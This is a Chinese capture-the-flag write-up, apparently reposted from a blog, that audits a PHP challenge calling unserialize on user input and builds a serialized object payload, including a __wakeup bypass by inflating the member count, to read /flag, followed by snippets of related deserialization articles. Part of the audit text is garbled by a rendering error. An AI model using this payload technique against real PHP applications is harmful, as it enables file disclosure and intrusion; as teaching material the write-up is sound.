代码编织梦想

源码:

<?php
show_source(__FILE__);

class CDUTSEC1{
    public $file;
    public $function;

    function __construct($file, $function)
    {
        $this->file = $file;
        $this->function = $function;
    }
    function __wakeup()     // Hint:听说你们喜欢绕__wakeup,但是我可听说官方在php7.0.10之后修复了这个bug
    {
        $this->file = __FILE__;
        $this->function = 'phpversion';
    }
    function __invoke()
    {
        return file_get_contents($this->file);
    }
    function __toString()
    {
        return file_get_contents($this->file);
    }
    function __get($function)
    {
        return $this->function;
    }
    function __call($a, $b){
        return $this->function;
    }
}

class CDUTSEC2{
    public $function = 'phpversion';

    function __destruct()
    {
        echo ($this->function)();   //
    }
}

@unserialize($_GET['payload']);

代码审计:
能拿flag的方式只有CDUTSEC1中__invoke和__toString两个魔术方法,触发能够执行file_get_contents($this->file)。所以只要CDUTSEC1类的file值为’/flag’(当然可能不在当前目录,视题而定)就能拿到flag了。
两个魔术方法的触发条件:
__invoke:当尝试以调用函数的方式调用一个对象时触发
__toString:一个类被当做字符串时触发。用于一个类被当成字符串时应怎样回应。例如 echo KaTeX parse error: Expected group after '_' at position 37: …字符串,否则会产生错误。 所以_̲_toSring无法触发。审计…function的值再次序列化即可。
但CDUTSEC1中在触发__invoke之前因为反序列化__weakup先触发并把我们传入的$file覆盖,因此我们需要绕过__weakup。利用的漏洞也很简单,只需要把序列化字符串表示类成员数量的数字改大(大于实际数)即可绕过。本例中,改CDUTSEC2与嵌套的CDUTSEC1都可以。
解题:

<?php

class CDUTSEC1{
    public $file;
    public $function;
}

class CDUTSEC2{
    public $function = 'phpversion';
}

$tr = new CDUTSEC1();
$tr->file = '/flag';          
$sr = new CDUTSEC2();
$sr->function = $tr;
echo serialize($sr);

运行代码得到:O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":2:{s:4:"file";s:5:"/flag";s:8:"function";N;}},这里我们该大类成员数:O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":3:{s:4:"file";s:5:"/flag";s:8:"function";N;}}即可。
测试payload:
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/LYJ20010728/article/details/114493983

php魔术方法:typecho反序列化漏洞_lanceaking的博客-爱代码爱编程

0x00 简述 服务器安装typecho之后没有删除install.php,导致可以在前台利用反序列化漏洞执行任意代码。 0x01 PHP序列化与反序列化 PHP序列化的函数是serialize(),它可以把php对象

php代码中的序列化与反序列化(1)_vis-wing的博客-爱代码爱编程

序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 0×00 序列化和反序列化 简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符

反序列化漏洞-----(1) 什么是序列化和反序列化和魔法函数-爱代码爱编程

文章目录 一、基础概念二,php的序列化与反序列化👍👍👍【实列3】对对象序列化 2.1 php中的部分魔法函数①构造函数☞ ` __construct()` ②析构函数☞ ` __destru

初探PHP反序列化-爱代码爱编程

什么是序列化和反序列化? <?php /******** * 序列化的作用:用于将对象进行转储 *可以将对象转换成字符串,但是仅保留对象里的成员变量,不保留函数方法 * 序列化函数:serialize 反序列化函数:unserialize */ class Serialize{ public $a="Astring";

php序列化和反序列化&魔术方法-爱代码爱编程

前言 可能会需要有类的知识但这里不多赘述 序列化 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。 内存数据——稍纵即逝,不可持久化。 变量所储存的数据,即内存数据,而文件是持久数据。 l 序列化: 序列化就是将内存中的变量数据,保存为文件中的持久数据的过程。将内存变成文件。 反序列化: 反序列化就是将序列化后存储到文

PHP反序列化-爱代码爱编程

**PHP反序列化漏洞** 一、序列化定义:序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。概念很容易理解,其实就是将数据转化成一种

Exception类绕过md5、sha1等-爱代码爱编程

源码: <?php show_source(__FILE__); class CDUTSEC { public $var1; public $var2; function __construct($var1, $var2) { $var1 = $var1; $var2 = $var2

php反序列化漏洞-爱代码爱编程

该漏洞一般只能在代码审计中发现,很难再黑盒测试中发现 序列化serialize():把一个对象变成可以传输的字符串 class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 序列化后得到的结果是这

ThinkPHP5.1.x 反序列化-爱代码爱编程

ThinkPHP5.1.x 反序列化 补充知识PHP反序列化原理在PHP反序列化的过程中会自动执行一些魔术方法反序列化的常见起点反序列化的常见中间跳板反序列化的常见终点Phar反序列化原理以及特征漏洞环境漏洞分析寻找反序列化的起始点寻找反序列化的中间跳板寻找反序列化代码执行点构造反序列化利用链漏洞利用条件 补充知识 PHP反序列化原理

反序列化学习之PHP反序列化&POP链构造-爱代码爱编程

反序列化学习(一) 前言 反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。 反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各